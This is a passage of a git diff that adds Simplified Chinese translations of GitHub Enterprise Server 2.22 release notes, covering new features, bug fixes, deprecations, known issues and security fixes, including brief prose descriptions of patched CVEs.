在命令上[取消暂停应用](https://docs.github.com/enterprise/2.22/user/rest/reference/apps#unsuspend-an-app-installation)。暂停的应用无法访问 GitHub API 或 Webhook 事件。你可以利用这一点来代替卸载应用程序,因为卸载会取消对每个用户的授权。{% comment %} https://github.com/github/github/pull/138316 https://github.com/github/github/pull/150869 {% endcomment %}'''' + +| + - heading: 改进了大型缩放性能 + notes: + - |我们已经修改了为存储库安排网络维护的方法,确保大型 Monorepos 能够避免故障状态。{% comment %} https://github.com/github/github/pull/146789, https://github.com/github/github/pull/147931, https://github.com/github/github/pull/146724, https://github.com/github/git-protocols/issues/94 {% endcomment %}'''' + + + +被动副本现在[在 GitHub Enterprise Server 群集部署中受支持且可配置](https://docs.github.com/en/enterprise/2.22/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster)。这些更改有助于缩短故障转移时间,并减少 RTO 和 RPO。{% comment %} https://github.com/github/releases/issues/905 {% endcomment %} + +| + - heading: 查看所有用户 + notes: + - |对于超大型团队,管理员可以[调整用户列表的默认最大值 1,500](https://docs.github.com/en/enterprise/2.22/admin/configuration/command-line-utilities#ghe-config)。{% comment %} https://github.com/github/github/pull/146508 {% endcomment %}'''' + +| + changes: + - heading: 管理更改 + notes: + - "允许共享员工通过跨选项卡共享连接,使实时更新更具灵活性。{% comment %} https://github.com/github/releases/issues/914 {% endcomment %}" + - "`50x` 错误页面上的“联系支持”链接现在链接到管理控制台中配置的支持电子邮件或链接。{% comment %} https://github.com/github/github/pull/142123 {% endcomment %}" + - "现在可以[通过企业帐户设置管理全局公告和到期日期](https://docs.github.com/en/enterprise/2.22/admin/installation/command-line-utilities#ghe-announce)。{% comment %} https://github.com/github/releases/issues/945, https://github.com/github/github/pull/148475, https://github.com/github/github/pull/148494 {% endcomment %}" + - "如有必要,现在可以[免除用户不受管理控制台中配置的默认 API 费率限制](https://docs.github.com/en/enterprise/2.22/admin/configuration/configuring-rate-limits)。{% comment %} https://github.com/github/github/pull/148673 {% endcomment %}" + - "存储库管理员现在可以从存储库设置中的单个对话框中[将其存储库设置为任何可用的可见性选项](https://docs.github.com/en/enterprise/2.22/user/github/administering-a-repository/setting-repository-visibility)。以前,必须导航单独的部分、按钮和对话框才能在公共和专用之间以及在专用和内部之间进行更改。{% comment %} https://github.com/github/releases/issues/882 {% endcomment %}" + - "用户下拉菜单上的新企业设置链接可以更容易地导航到企业帐户设置。{% comment %} https://github.com/github/releases/issues/946, https://github.com/github/github/pull/150595, https://github.com/github/github/pull/150520, https://github.com/github/github/pull/151121, https://github.com/github/hydro-schemas/pull/1244 {% endcomment %}" + - "已删除 /stafter 页面上旧的“管理中心”链接。“企业”链接现在是从 /stafftools 页面导航到企业帐户的最佳途径。{% comment %} https://github.com/github/github/pull/147633 {% endcomment %}" + - "“企业帐户”设置中的“选项”子菜单项已经从“设置”部分移到“策略”部分。{% comment %} https://github.com/github/releases/issues/944, https://github.com/github/github/pull/148477 {% endcomment %}" + - '[使用个人访问令牌或 SSH 密钥访问资源现在算作用户活动](https://docs.github.com/en/enterprise/2.22/admin/user-management/managing-dormant-users)。这样可以减轻管理员从用户休眠报告中筛选掉某些用户的负担,并让使用“全部暂停”按钮更加安全,不会意外地暂停仅使用个人访问令牌 (PAT) 或 SSH 密钥通过 API 以只读方式访问 GitHub 的用户。{% comment %} https://github.com/github/github/pull/140433, https://github.com/github/help-docs/pull/14853, https://github.com/github/customer-feedback/issues/174, https://github.com/github/supportability/issues/14 {% endcomment %}' + + - heading: 安全性更改 + notes: + - "在双因素登录过程中不能再使用双因素恢复代码。只接受一次性密码。{% comment %} https://github.com/github/github/pull/145016, https://github.com/github/github/pull/140208 {% endcomment %}" + - "当用户以单一登录方式登录到 GitHub Enterprise Server 时,[默认存储库可见性选择是专用的](https://docs.github.com/en/enterprise/2.22/user/github/administering-a-repository/setting-repository-visibility). {% comment %} https://github.com/github/releases/issues/872 {% endcomment %}" + - "GitHub 应用的所有者现在可以选择他们的[用户到服务器访问令牌在 8 小时后过期](https://developer.github.com/changes/2020-04-30-expiring-user-to-server-access-tokens-for-github-apps/),以帮助强制执行常规令牌轮换并减小令牌泄露的影响。{% comment %} https://github.com/github/releases/issues/966 {% endcomment %}" + + - heading: 开发者更改 + notes: + - '[GitHub 用户界面经历了设计更新](https://github.blog/changelog/2020-06-23-design-updates-to-repositories-and-github-ui/),存储库主页已重新设计,包括响应式布局和改进的移动 Web 体验。{% comment %} https://github.com/github/releases/issues/886 {% endcomment %}' + - "在“使用 SSH 克隆”存储库下拉菜单中,如果用户没有任何密钥设置,现在将收到通知。{% comment %} https://github.com/github/github/pull/149098 {% endcomment %}" + - "在拉取请求时间线和提交选项卡,提交现在是按时间顺序排序的。这个新顺序也反映在[“在拉取请求中列出提交”](https://docs.github.com/en/enterprise/2.22/user/rest/reference/pulls#list-commits-on-a-pull-request) REST API 和 GraphQL [“PullRequest 对象”](https://docs.github.com/en/enterprise/2.22/user/graphql/reference/objects#pullrequest) 时间线连接中。{% comment %} https://github.com/github/releases/issues/867 {% endcomment %}" + - "用户现在可以在评论文本区域中[设置表情符号自动完成结果的默认皮肤](https://github.blog/changelog/2020-07-17-customizable-skin-tones-in-emoji-autocomplete/)。{% comment %} https://github.com/github/releases/issues/916 {% endcomment %}" + - '[Tree-sitter](https://github.com/tree-sitter/tree-sitter) 改进了语法突出显示,现在是用于语言解析的默认库。{% comment %} https://github.com/github/releases/issues/918, https://github.com/github/windrose/issues/44 {% endcomment %}' + + - heading: 用户和组织可以将 Twitter 用户名添加到他们的 GitHub 配置文件 + notes: + - '[开发者和组织现在可以将他们的 Twitter 用户名添加到他们的个人资料中](https://github.blog/changelog/2020-07-22-users-and-organizations-can-now-add-twitter-usernames-to-their-github-profiles/) {% comment %} https://github.com/github/github/pull/145127 {% endcomment %}' + + - heading: API 更改 + notes: + - |#### 分级预览 + + + +以下预览现在是 API 的官方部分: + +* 返回 `performed_via_github_app` 属性的 GitHub Apps API 和终结点不再需要 [`machine-man`](https://developer.github.com/changes/2020-08-20-graduate-machine-man-and-sailor-v-previews/)预览标题。{% comment %} https://github.com/github/releases/issues/965 {% endcomment %} + +* 要添加和查看问题的锁定原因,你不再需要使用 [`sailor-v`](https://developer.github.com/changes/2020-08-20-graduate-machine-man-and-sailor-v-previews/) 预览标题。{% comment %} https://github.com/github/github/pull/143676 {% endcomment %} + +| + - |#### GraphQL 架构更改 + + + +* [GraphQL 架构更改](https://docs.github.com/enterprise/2.22/user/graphql/overview/changelog)包括后向兼容的更改、架构预览和即将发生的中断性变更。 + +| + - heading: VMware 网络驱动程序更改 + notes: + - |从 2.22.0 版开始,适用于 VMware 客户的 GitHub Enterprise Server 默认网络适配器类型已从 E1000 更改为 VMXNET3。从早期版本升级到 2.22.0 或更高版本时,如果在升级前检查过程中检测到 E1000 网络适配器,将在命令行中显示以下消息: + + + +``` + +警告:你的虚拟设备当前正在使用模拟的 Intel E1000 网络适配器。 + +为获得最佳性能,请更新 VMware 主机上的虚拟机配置以使用 VMXNET3 驱动程序。 + +是否继续安装?[是/否] + +``` + + + +管理员可以选择在 GitHub Enterprise Server 升级之前或之后将网络适配器类型更新为 VMXNET3。需要关闭虚拟设备才能进行此更改。客户应按照 VMware 推荐的步骤[更改虚拟机网络适配器配置](https://docs.vmware.com/en/VMware-vSphere/7.0/com.vmware.vsphere.vm_admin.doc/GUID-3719A0BE-4B4A-44FF-8A21-290950918FBD.html),将其更改为 VMXNET3。请注意,如果虚拟设备的 OS 版本设置为“其他 Linux(64 位)”,则不会选择“VMXNET3”。在这种情况下,首先需要将 OS 版本从“其他 Linux(64 位)”更改为“其他 2.6.x Linux(64 位)”或 Debian GNU/Linux 9(如果提供)。建议在[临时实例](https://docs.github.com/en/enterprise-server@2.22/admin/installation/setting-up-a-staging-instance)上测试这些更改,然后再在生产 GitHub Enterprise Server 上进行更改。{% comment %} https://github.com/github/ghes-infrastructure/issues/781 {% endcomment %} + +| + bugs: + - "如果有待处理的电子邮件邀请,用于查看待定协作者的 stafftools 页面会显示“500 内部服务器错误”。{% comment %} https://github.com/github/github/pull/150836 {% endcomment %}" + - "Stafftools 中的存储库运行状态检查可能会在繁忙的存储库上产生不正确的结果。{% comment %} https://github.com/github/github/pull/151160 {% endcomment %}" + - "尝试接受电子邮件邀请的登录用户可能会收到“404 找不到”错误。{% comment %} https://github.com/github/github/pull/150848 {% endcomment %}" + - "如果用户导航到名称以“repositories.”开头的存储库,则会被重定向到所有者的“存储库”选项卡,而不是登录到存储库概述页面。{% comment %} https://github.com/github/github/pull/149704 {% endcomment %}" + - "仪表板时间线中的标签没有足够的对比度。{% comment %} https://github.com/github/github/pull/146749 {% endcomment %}" + + deprecations: + - heading: GitHub Enterprise Server 2.19 即将弃用 + notes: + - '**自 2020 年 11 月 12 日起,GitHub Enterprise Server 2.19 将被弃用**这意味着在此日期之后将不会发布任何补丁,即使是针对关键安全问题也是如此。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到最新的 GitHub Enterprise Server 版本](https://help.github.com/enterprise/admin/guides/installation/upgrading-github-enterprise/)。' + - heading: 弃用旧版的 GitHub App Webhook 事件 + notes: + - "从 GitHub Enterprise Server 2.21.0 开始,两个与旧版 GitHub 应用相关的 Webhook 事件已被弃用,并将在 GitHub Enterprise Server 2.25.0 中删除。已弃用的事件 `integration_installation` 和 `integration_installation_repositories` 具有将受支持的等效事件。有关详细信息,请参阅[弃用公告博客文章](https://developer.github.com/changes/2020-04-15-replacing-the-installation-and-installation-repositories-events/)。{% comment %} https://github.com/github/enterprise-web/pull/6419#issuecomment-668303461 {% endcomment %}" + - heading: 弃用旧版 GitHub 应用终结点 + notes: + - "从 GitHub Enterprise Server 2.21.0 开始,用于创建安装访问令牌的旧版 GitHub 应用终结点已被弃用,并将在 GitHub Enterprise Server 2.25.0 中删除。 有关详细信息,请参阅[弃用公告博客文章](https://developer.github.com/changes/2020-04-15-replacing-create-installation-access-token-endpoint/)。{% comment %} https://github.com/github/enterprise-web/pull/6419#issuecomment-668303461 {% endcomment %}" + - heading: 弃用 OAuth 应用程序 API + notes: + - "GitHub 不再支持包含 `access_token` 作为路径参数的 OAuth 应用程序终结点。我们引入了新的终结点,可通过将“access_token”移动到请求正文来安全地管理 OAuth 应用的令牌。这些终结点虽然已弃用,但在此版本中仍可访问。我们打算在 GitHub Enterprise Server 3.4 中删除这些终结点。有关详细信息,请参阅[弃用公告博客文章](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/)。" + + backups: + - "GitHub Enterprise Server 2.22 至少需要 [GitHub Enterprise 备份实用工具](https://github.com/github/backup-utils) 2.22.0 才可进行[备份和灾难恢复](https://help.github.com/enterprise/2.22/admin/guides/installation/backups-and-disaster-recovery/)。" + + known_issues: + - "在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}" + - "在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}" + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}" + - "如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}" + - "在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}" + - "管理控制台中的“名称 ID 格式”下拉列表将在实例设置为“持久”之后重置为“未指定”。{% comment %} https://github.com/github/enterprise2/issues/13446 {% endcomment %}" + - "用户或组织 GitHub Pages 站点的存储库设置页面将会失败,并出现“500 服务器内部错误”。{% comment %} https://github.com/github/github/issues/156183 {% endcomment %}" + - "用户在具有高可用性复制的实例中可能会遇到较慢的 Git 克隆和获取性能,因为读取被转到另一个节点。{% comment %} https://github.com/github/spokesd/issues/746 {% endcomment %}" + - '[从清单创建 GitHub 应用](https://docs.github.com/en/enterprise/2.22/user/developers/apps/creating-a-github-app-from-a-manifest)失败。要解决这个问题,用户可以遵循[创建 GitHub 应用]的手动说明(https://docs.github.com/en/enterprise/2.22/user/developers/apps/creating-a-github-app)。{% comment %} https://github.com/github/enterprise2/issues/22849 {% endcomment %}' + - "如果 GitHub 用户名与管理控制台中映射到 `username` 字段的属性值不匹配,GitHub 用户名可能在使用 SAML 身份验证时无意中被更改。(更新于 2020-10-08){% comment %} https://github.com/github/external-identities/issues/335 {% endcomment %}" + - "在新建的 2.22.0 实例上或在升级到 2.22.0 后,组织仪表板上的活动源将不再更新。(更新于 2020-10-27){% comment %}https://github.com/github/enterprise2/issues/23050{% endcomment %}" + - "审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新于 2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}" + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/1.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/1.yml new file mode 100644 index 0000000000..4a52ce6061 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/1.yml @@ -0,0 +1,97 @@ +date: '2020-10-09' +sections: + security_fixes: + - '**中**:ImageMagick 已经更新,以解决 [DSA-4715-1](https://www.debian.org/security/2020/dsa-4715)。{% comment %} https://github.com/github/enterprise2/pull/22623, https://github.com/github/enterprise2/pull/22610 {% endcomment %}' + - '如果发送的 OAuth 客户端 ID 和客户端机密与用于创建刷新令牌的不同,则将接受 GitHub App 集成中用于刷新 OAuth 访问令牌的请求。 {% comment %} https://github.com/github/github/pull/154921,https://github.com/github/github/pull/154423,https://github.com/github/ecosystem-apps/issues/1066 {% endcomment %}' + - 'LDAP 目录用户名标准化为现有 GHES 帐户登录的用户可以验证现有帐户。{% comment %} https://github.com/github/github/pull/156513, https://github.com/github/github/pull/155512 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/22912, https://github.com/github/enterprise2/pull/22878 {% endcomment %}' + + bugs: + - |管理控制台中的 NameID 格式下拉列表将在设置为“持久”之后重置为“未指定”。 {% comment %} https://github.com/github/enterprise2/pull/22376, https://github.com/github/enterprise2/pull/22331, https://github.com/github/enterprise2/issues/13446 {% endcomment %} + +| + - |使用热补丁的升级可能会失败,并显示错误:“未找到 ''libdbi1''”{% comment %} https://github.com/github/enterprise2/pull/22557,https://github.com/github/enterprise2/pull/22552 {% endcomment %} + +| + - |通过[管理控制台](/admin/configuration/accessing-the-management-console) 保存设置将附加一个新行到 [TLS/SSL 证书和密钥](/admin/configuration/configuring-tls) 文件,这触发了某些服务的不必要重新加载。 {% comment %} https://github.com/github/enterprise2/pull/22570, https://github.com/github/enterprise2/pull/22540 {% endcomment %} + +| + - |依赖项关系图的系统日志没有轮换,允许无限存储增长。{% comment %} https://github.com/github/enterprise2/pull/22767, https://github.com/github/enterprise2/pull/22733 {% endcomment %} + +| + - |MS SQL Server 性能图显示来自主实例的统计信息,即使选择的是复制品。{% comment %} https://github.com/github/enterprise2/pull/22778, https://github.com/github/enterprise2/pull/22750 {% endcomment %} + +| + - |如果 Actions 未启用,`ghe-actions-precheck` 将不运行存储检查而静默退出。{% comment %} https://github.com/github/enterprise2/pull/22787, https://github.com/github/enterprise2/pull/22742 {% endcomment %} + +| + - |如果请求的工人覆盖设置在使用中,升级可能会失败。{% comment %} https://github.com/github/enterprise2/pull/22836, https://github.com/github/enterprise2/pull/22814 {% endcomment %} + +| + - |在容器中运行的一些服务没有发送日志到日报。 {% comment %} https://github.com/github/enterprise2/pull/22994, https://github.com/github/enterprise2/pull/22518 {% endcomment %} + +| + - |到 GitHub 安全通告的链接将使用 GitHub Enterprise Server 实例主机名的 URL 而不是 GitHub.com,将用户引导到不存在的 URL。{% comment %} https://github.com/github/github/pull/153316, https://github.com/github/github/pull/151301 {% endcomment %} + +| + - |使用 `ghe-migrator` 导入仓库时,如果数据不一致,可能发生意外异常。{% comment %} https://github.com/github/github/pull/153850, https://github.com/github/github/pull/151552 {% endcomment %} + +| + - |当使用的身份验证模式不支持内置双重身份验证时,企业帐户安全设置页面显示用于“双重身份验证”设置的“查看组织当前配置”链接。{% comment %} https://github.com/github/github/pull/153860 {% endcomment %} + +| + - |OAuth 刷新令牌将过早删除。 {% comment %} https://github.com/github/github/pull/154271, https://github.com/github/github/pull/153694 {% endcomment %} + +| + - |搜索修复任务将在配置的迁移阶段产生异常。{% comment %} https://github.com/github/github/pull/154573, https://github.com/github/github/pull/153392 {% endcomment %} + +| + - |在 GitHub Apps 的设置页面上,“测试版功能”选项卡在某些情况下不可见。 {% comment %} https://github.com/github/github/pull/154612, https://github.com/github/github/pull/154417 {% endcomment %} + +| + - |当使用 `ghe-migrator` 导入 PR 审核请求时,与删除用户相关的记录将产生外部数据库记录。 {% comment %} https://github.com/github/github/pull/154960, https://github.com/github/github/pull/153169 {% endcomment %} + +| + - |使用 "ghe-migrator" 导入用户时,如果系统生成的电子邮件地址超过 100 个字符,则会出现“电子邮件无效”的错误。{% comment %} https://github.com/github/github/pull/155109, https://github.com/github/github/pull/152418 {% endcomment %} + +| + - |记录 web 挂钩活动可能会使用大量的磁盘空间,并导致根盘变满。{% comment %} https://github.com/github/github/pull/155657, https://github.com/github/github/pull/154100 {% endcomment %} + +| + - |用户在具有高可用性复制的实例中经历了较慢的 Git 克隆和获取性能,因为读取被转到另一个节点。{% comment %} https://github.com/github/github/pull/156195, https://github.com/github/github/pull/156016, https://github.com/github/spokesd/issues/746 {% endcomment %} + +| + - |用户或组织 GitHub Pages 站点的仓库设置页面将会失败,并出现“500 服务器内部错误”。{% comment %} https://github.com/github/github/pull/156439, https://github.com/github/github/issues/156183 {% endcomment %} + +| + - |仓库网络维护操作可能卡在“运行中”状态。{% comment %}https://github.com/github/github/pull/156669, https://github.com/github/github/pull/156036 {% endcomment %} + +| + - |上传代码扫描结果后立即删除仓库,可能会导致所有仓库的代码扫描结果处理停止。{% comment %} https://github.com/github/github/pull/157063, https://github.com/github/github/pull/156437 {% endcomment %} + +| + - |当大量代码扫描结果同时提交时,批量处理超时可能导致代码扫描结果的处理停止。{% comment %} https://github.com/github/github/pull/157065, https://github.com/github/github/pull/156462 {% endcomment %} + +| + - |[从清单创建 GitHub 应用程序](https://docs.github.com/en/enterprise/2.22/user/developers/apps/creating-a-github-app-from-a-mov-a-manifest) 将失败。{% comment %} https://github.com/github/github/pull/157133, https://github.com/github/github/pull/156904, https://github.com/github/enterprise2/issues/22849 {% endcomment %} + +| + - |当 GitHub 用户名与管理控制台中映射到 `username` 字段的属性值不匹配时,GitHub 用户名会在使用 SAML 身份验证时无意中被更改。{% comment %} https://github.com/github/github/pull/158131, https://github.com/github/github/pull/157936, https://github.com/github/external-identities/issues/335 {% endcomment %} + +| + changes: + - "为 AWS EC2 实例类型 `m5.16xlarge` 添加了支持。{% comment %} https://github.com/github/enterprise2/pull/22502, https://github.com/github/enterprise2/pull/22473 {% endcomment %}" + - "删除 `ghe-migrator` 档案中 SSH 指纹的要求,因为它可以随时计算。{% comment %} https://github.com/github/github/pull/156946, https://github.com/github/github/pull/155387 {% endcomment %}" + - "GitHub App 清单现在包含 `request_oauth_on_install` 字段。{% comment %} https://github.com/github/github/pull/156991, https://github.com/github/github/pull/155010, https://github.com/github/ecosystem-apps/issues/1055 {% endcomment %}" + + known_issues: + - "在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}" + - "自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}" + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}" + - "议题若是包含同一仓库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 {% comment %} https://github.com/github/github/issues/107731 {% endcomment %}" + - "在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}" + - "如果原始备份源未启用该功能,则在将数据还原到 GitHub Actions-used 实例时,配置更新将失败。{% comment %} https://github.com/github/c2c-actions-runtime/issues/915 {% endcomment %}" + - "GitHub Actions 如果以前在运行 2.22.0 的实例上启用并升级到 2.22.1,则可能无法成功启动。(更新于 2020-10-23){% comment %} https://github.com/github/c2c-actions/issues/1680 {% endcomment %}" + - "在新设置 2.22.1 实例或升级到 2.22.1 后,组织仪表板上的活动源将不再更新。(更新于 2020-10-27) {% comment %}https://github.com/github/enterprise2/issues/23050{% endcomment %}" + - "审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新于 2020-11-02) {% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}" + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/10.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/10.yml new file mode 100644 index 0000000000..4fbde7ebaa --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/10.yml @@ -0,0 +1,16 @@ +date: '2021-04-01' +sections: + security_fixes: + - "**高:**在 GitHub Enterprise Server 中发现了一个不适当的访问控制漏洞,该漏洞允许根据 GitHub 应用的 [Web 身份验证流](https://docs.github.com/en/developers/apps/identifying-and-authorizing-users-for-github-apps#web-application-flow) 生成的访问令牌通过 REST API 读取专用存储库元数据,而无需获取适当的权限。若要攻击这个漏洞,攻击者需要在实例上创建 GitHub 应用,并让用户通过 Web 身份验证流对应用程序进行授权。返回的专用存储库元数据将仅限于令牌标识的用户拥有的存储库。此漏洞影响 GitHub Enterprise Server 3.0.4 之前的所有版本,并已在 3.0.4、2.22.10 和 2.21.18 版本中修复。此漏洞编号为 CVE-2021-22865,并通过 [GitHub Bug 赏金计划](https://bounty.github.com) 进行报告。" + - 包已更新到最新的安全版本。 + bugs: + - 某些默认为 UTC 时间的服务未使用在 GitHub Enterprise 11.10.x 或更早版本上设置的时区。 + - 服务未作为日志轮换的一部分转换到新的日志文件,导致磁盘使用量增加。 + - 内部存储库搜索结果上的标签显示为“专用”而不是“内部”。 + known_issues: + - 在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/11.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/11.yml new file mode 100644 index 0000000000..5c160dca8c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/11.yml @@ -0,0 +1,19 @@ +date: '2021-04-14' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - '警告消息 `jq: error (at :0): Cannot index number with string "settings"` 可能在副本升级期间出现。' + - 由于 MySQL 副本无法连接到主数据库,因此将备份连续还原到群集可能会失败。 + - 由于 Treelights 容器内存不足,语法高亮可能失败。 + - 访问 `/settings/email` 页面会存储状态,在退出登录并重新登录时可能导致错误的重定向。 + - 对于其通告在 `vulnerable_version_ranges` 中具有大写包名称的一些组件,未显示依赖项关系图警报。 + - 在问题评论中通过提及功能直接提及团队时,GitHub 集成应用程序无法通知团队。 + - 当 ghe-migrator 遇到导入错误时,它有时会中止整个进程,但日志中没有包含足够的上下文。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/12.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/12.yml new file mode 100644 index 0000000000..5cc9632ff8 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/12.yml @@ -0,0 +1,22 @@ +date: '2021-04-28' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 在升级过程中,进程将在 `cleanup nomad job` 之后无限期暂停。 + - '`ghe-cluster-failover` 失败,出现错误消息 `Trilogy::Error: trilogy_connect`。' + - '`ghe-cluster-status-mysql` 将有关故障转移的警告显示为错误。' + - 在 MySQL 副本上运行的安装脚本可能导致数据库故障转移期间不必要的数据库重新播种。 + - '由于不必要地调用 `rake db:migrate`,`config-apply` 可能需要更长的时间。' + - Orchestrator 可能已故障转移到 MySQL 副本,当主数据库无法连接时,它无法在播种阶段从主数据库复制。 + - 出现错误的组织或项目阻止了迁移,无法排除。 + - 由于选择了最完整的磁盘而不是空节点,存储主机超过三个的客户无法恢复到其灾难恢复群集。 + changes: + - 默认情况下,预运行检查允许所有 AWS 实例类型。 + known_issues: + - 在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/13.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/13.yml new file mode 100644 index 0000000000..6b86c7620b --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/13.yml @@ -0,0 +1,20 @@ +date: '2021-05-13' +sections: + security_fixes: + - "**高:**在 GitHub Enterprise Server 中发现 UI 表述错误漏洞,在审批阶段,该问题会导致在 GitHub 应用用户授权 Web 流中授予超过 UI 显示的权限。要利用这个漏洞,攻击者需要在实例上创建 GitHub 应用,并让用户通过 Web 身份验证流对应用程序进行授权。所有被授予的权限将在第一次授权时正确显示,但在某些情况下,如果用户在 GitHub 应用已配置额外的用户级别权限后重新访问授权流,这些额外的权限可能不会显示,这样会导致授予可能超过用户初衷的权限。此漏洞影响 GitHub Enterprise Server 3.0.x 到 3.0.7 版本以及 2.22.x 到 2.22.13 版本。3.0.7 和 2.22.13 版本中修复了该问题。该漏洞编号为 CVE-2021-22866,通过 [GitHub Bug 赏金计划](https://bounty.github.com/) 报告。" + - 包已更新到最新的安全版本。 + bugs: + - 在配置应用阶段可以启用 Orchestrator 自动故障转移。 + - 具有存储库维护员权限的用户会收到电子邮件验证警告,而不是在存储库 Pages 设置页面上构建成功的页面。 + - 通配符规则的代码所有者将被错误地添加到代码所有者徽章的所有者列表中,即使该路径优先使用较新的规则。 + - OpenAPI 文档引用了无效的标头。 + changes: + - 添加了 HAProxy 重载时配置更改的日志记录。 + - 添加了仓库创建的日志记录。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/14.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/14.yml new file mode 100644 index 0000000000..bad192aca2 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/14.yml @@ -0,0 +1,18 @@ +date: '2021-05-25' +sections: + security_fixes: + - '**中:**在某些情况下,从团队或组织中删除的用户可以保留对已打开现有拉取请求的分支的写入权限。' + - 包已更新到最新的安全版本。 + bugs: + - 